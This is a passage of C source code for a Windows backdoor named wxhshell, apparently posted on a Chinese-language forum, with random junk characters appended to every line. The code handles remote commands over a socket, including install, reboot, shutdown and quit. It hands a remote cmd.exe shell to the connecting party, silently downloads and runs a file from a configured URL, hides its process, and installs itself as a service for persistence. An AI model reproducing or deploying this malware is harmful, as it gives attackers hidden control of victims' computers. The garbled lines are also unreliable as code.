      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Ov? kWFO  
    break; D2<(V,h9  
  } G?Fqm@J{XT  
  // 安装 kC:GEY<N:Q  
  case 'i': { N<XS-XB,  
    if(Install()) KA^r,Iw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LcL|'S)  
    else /~=W3lhY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @q8h'@sX  
    break; L>:YGM"sL  
    } W`auQO  
  // 卸载 qkHdr2  
  case 'r': { abAX)R'  
    if(Uninstall()) 9*`(*>S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0_\@!#-sml  
    else vSyR% j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B+)HDIPa-  
    break; 2GRL`.1  
    } b{X,0a{*  
  // 显示 wxhshell 所在路径 VAGQR&T?  
  case 'p': { E(%_aFx>/  
    char svExeFile[MAX_PATH]; -l)u`f^n|  
    strcpy(svExeFile,"\n\r"); uB&um*DP  
      strcat(svExeFile,ExeFile); Tw`n3y?  
        send(wsh,svExeFile,strlen(svExeFile),0); VH*4fcT'D  
    break; v2ab  
    } @B e7"Fm  
  // 重启 Xo,}S\wcn  
  case 'b': { pGO=3=O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CGYZEPRR  
    if(Boot(REBOOT)) g$CWGB*%lm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q-tm `t*7  
    else { 9| ('*  
    closesocket(wsh); jPum2U_  
    ExitThread(0); 3n ~n-Jo  
    } ^/`W0kT  
    break; ()cqax4  
    } S! Z2aFj  
  // 关机 4 C7z6VWg  
  case 'd': { |:[ [w&R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6 +2M$3_U  
    if(Boot(SHUTDOWN)) (-e*xM m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  F0i`HO{  
    else { lPBWpHX  
    closesocket(wsh); ~d.Z. AD  
    ExitThread(0); K*"Wq:T;B  
    } TAE@KSPvo  
    break; [>MPM$9F-m  
    } p$S\l] ,  
  // 获取shell _{k-&I  
  case 's': { &xgKHbg  
    CmdShell(wsh); 45 \W%8  
    closesocket(wsh); ZYMacTeJjg  
    ExitThread(0); _Qh :*j!  
    break; D~^P}_e.  
  } k1h>8z.Tg  
  // 退出 Lo{g0~?x*  
  case 'x': { O~udlVn<6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^F="'/Pq[  
    CloseIt(wsh); gt>k]0  
    break; CW+]Jv]"  
    } 3<"!h1x5  
  // 离开 (gQr?K  
  case 'q': { 1 x'H #  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *ydh.R<hb  
    closesocket(wsh); q4xP<b^  
    WSACleanup(); Dr oa1_FX  
    exit(1); U)sw IisE  
    break; pPD}>q  
        } \GP0FdpV  
  } +9fQ YJBA  
  } j=U^+jAn  
s` $YY_  
  // 提示信息 {^ jRV@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lK2=[%,~  
} +qiI;C_P\  
  } c|2+J :}p  
N~)RR {$w  
  return; wV{jJyRl  
} &W*do  
+YFAZv7`  
// shell模块句柄 E=&":I6O  
int CmdShell(SOCKET sock) ;JHR~ TV  
{ W>'KE:!sp  
STARTUPINFO si; %8hx3N8>  
ZeroMemory(&si,sizeof(si)); 12 TX_0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v"v-c!k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?`+G0VT  
PROCESS_INFORMATION ProcessInfo; G|eJac>  
char cmdline[]="cmd"; jiGXFM2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xWuvT,^  
  return 0; F5s`AjU  
} d&owS+B{48  
~R*01AnZ  
// 自身启动模式 tm|YUat$]r  
int StartFromService(void) z0-[ RGg  
{ MD+e!A#o  
typedef struct fpA%:V  
{   B'QcD  
  DWORD ExitStatus; KfkU_0R+~v  
  DWORD PebBaseAddress; dml,|k=  
  DWORD AffinityMask; #J`M R05  
  DWORD BasePriority; #DkdFy %`  
  ULONG UniqueProcessId; zk^uS#  
  ULONG InheritedFromUniqueProcessId; ?C`&*+  
}   PROCESS_BASIC_INFORMATION; D6vhW:t8?  
["~T)d'  
PROCNTQSIP NtQueryInformationProcess; pkEx.R)  
qbq.r&F&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dUc ([&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .qfU^AHA  
Rz:1(^oA  
  HANDLE             hProcess; v"8i2+j  
  PROCESS_BASIC_INFORMATION pbi; D0*+7n3  
rk7d7`V  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); z:)z]6  
  if(NULL == hInst ) return 0; DPBWw[  
?atHZLF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qL2Sv(A Z!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Rl[SqmnI)@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T;1aL4w"  
myqQqVW  
  if (!NtQueryInformationProcess) return 0; W@p27Tiq  
3,dIW*<**  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); g..&x]aS(  
  if(!hProcess) return 0; #p7_\+&5s  
Tr$37suF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1{$=N 2U  
ewOe A|  
  CloseHandle(hProcess); /?B%,$~  
/=gU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (RafidiH  
if(hProcess==NULL) return 0; :} N;OS_  
8<_dNt'91  
HMODULE hMod; 5{\;7(  
char procName[255]; jm&PGZ#n=R  
unsigned long cbNeeded; 3!Cab/T  
q!whWA  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CQh6;[\:  
TFYp=xK(  
  CloseHandle(hProcess); m.&"D> \t  
Sp./*h\}  
if(strstr(procName,"services")) return 1; // 以服务启动 J"?jaa2~  
,ek0)z.  
  return 0; // 注册表启动 @tVl8]y  
} (AswV7aGe  
_[{oK G^u  
// 主模块 GN=-dLN  
int StartWxhshell(LPSTR lpCmdLine) \(`,z}Ht _  
{ U!i@XA%P  
  SOCKET wsl; !HSX:qAP$  
BOOL val=TRUE; t6! B  
  int port=0; qLk7C0  
  struct sockaddr_in door; H5/w!y@  
,'a[1RN  
  if(wscfg.ws_autoins) Install(); 41 #YtZ  
Wf>=^ ~`  
port=atoi(lpCmdLine); l;vA"b=]  
m4 :"c"  
if(port<=0) port=wscfg.ws_port; Dfw%Bu  
l( uV@_3  
  WSADATA data; Hr!%L*h?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IIUTo  
_GsHT\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   uYMH5Om+i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $x;(C[  
  door.sin_family = AF_INET; `V=F>s$W  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~NB lJULS  
  door.sin_port = htons(port); z2god 1"  
}-%:!*bLj  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nAk;a|Q  
closesocket(wsl); [WBU _  
return 1; yCZ[z A  
} Qo])A6$IU  
9}#9i^%}  
  if(listen(wsl,2) == INVALID_SOCKET) { .y2np  
closesocket(wsl); O+PRP"$g"  
return 1; G ;  
} $##LSTA  
  Wxhshell(wsl); "J*LR  
  WSACleanup(); cBDOA<]r,  
*FC26_pH  
return 0; b*dEX%H8sf  
3TF'[(K=  
} 3y]rhB  
?oulQR6:  
// 以NT服务方式启动 P/ 7aj:h~P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gtJCvVj>g  
{ _0!<iN L  
DWORD   status = 0; -< }#ImTN  
  DWORD   specificError = 0xfffffff; *>J45U(6:  
E9#.!re|^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =8 01nZJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 28=L9q   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Rv@( [rn+  
  serviceStatus.dwWin32ExitCode     = 0; $S2kc$'F  
  serviceStatus.dwServiceSpecificExitCode = 0; kd+tD!:F(  
  serviceStatus.dwCheckPoint       = 0; am# (ms  
  serviceStatus.dwWaitHint       = 0; L0>w|LpRc  
S<nbNSu6+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~)%DiGW&  
  if (hServiceStatusHandle==0) return; ;%Rp=&J  
Ops""#Zi  
status = GetLastError(); T8\%+3e.  
  if (status!=NO_ERROR) #u$ Z/,  
{ ZA8FX  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; avEsX_.  
    serviceStatus.dwCheckPoint       = 0; vH/ Y]Am  
    serviceStatus.dwWaitHint       = 0; zR_yxs'  
    serviceStatus.dwWin32ExitCode     = status; vC_O! 2E  
    serviceStatus.dwServiceSpecificExitCode = specificError; XYHVw)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %a$Fsn  
    return; | sZu1K  
  } HQtUNtZ  
YV"LM6`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wm s@1~I  
  serviceStatus.dwCheckPoint       = 0; V SUz+W  
  serviceStatus.dwWaitHint       = 0; jS'hs>Ot  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =%R|@lz_x  
} ?Qdp#K]WX  
MRL,#+VxA  
// 处理NT服务事件,比如:启动、停止 k80!!S=_>  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q2K)Nl >_  
{ 'w!8`LPu  
switch(fdwControl) jG~UyzWH;  
{ s&~.";b  
case SERVICE_CONTROL_STOP: BRGTCR  
  serviceStatus.dwWin32ExitCode = 0; 9S$?2z".2  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kU$M 8J.  
  serviceStatus.dwCheckPoint   = 0; /S\y-M9  
  serviceStatus.dwWaitHint     = 0; ffE&=eh)  
  { DU.[Sp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E!v^j=h$u  
  } *'h vYl/?>  
  return; =OU]<%  
case SERVICE_CONTROL_PAUSE: 8et.A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i=8){G X4  
  break; 3+| {O  
case SERVICE_CONTROL_CONTINUE: (y{nD~k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }c-tvK1g  
  break; 4E.K6=k|=a  
case SERVICE_CONTROL_INTERROGATE: }%I)bU  
  break; txW<r8  
}; {glRX R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6 &)fZt  
} gw`}eA$  
hg=BXe4:  
// 标准应用程序主函数 ~TEKxgU  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #3o]Qo[Sc  
{ ~ E|L4E  
Z,bvD'u  
// 获取操作系统版本 %xWscA%^u  
OsIsNt=GetOsVer(); %*wOJx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); KV$J*B Y  
0kB!EJ<OdG  
  // 从命令行安装 9Ucn 6[W  
  if(strpbrk(lpCmdLine,"iI")) Install(); >J[Wd<~t  
*|DIG{  
  // 下载执行文件 ooPH [p  
if(wscfg.ws_downexe) { ]kd )j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Zy-X_r  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y8yRQ zu  
} n\Y|0\ B  
KGI0|Z]n~  
if(!OsIsNt) { dQ4K^u  
// 如果时win9x,隐藏进程并且设置为注册表启动 uKZe"wN;  
HideProc(); I=3e@aTZ,  
StartWxhshell(lpCmdLine); ! B_?_ a  
} ,3{z_Rax-  
else `+(|$?Cu  
  if(StartFromService()) : *Nvy={c  
  // 以服务方式启动 #j{!&4M  
  StartServiceCtrlDispatcher(DispatchTable); Jy X7I,0  
else Sh_=dzM  
  // 普通方式启动 Gv,0{DVX<  
  StartWxhshell(lpCmdLine); S6sw)  
g(0 |p6R  
return 0; -\`n{$OR  
}
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只看该作者 1 发表于: 2006-10-10
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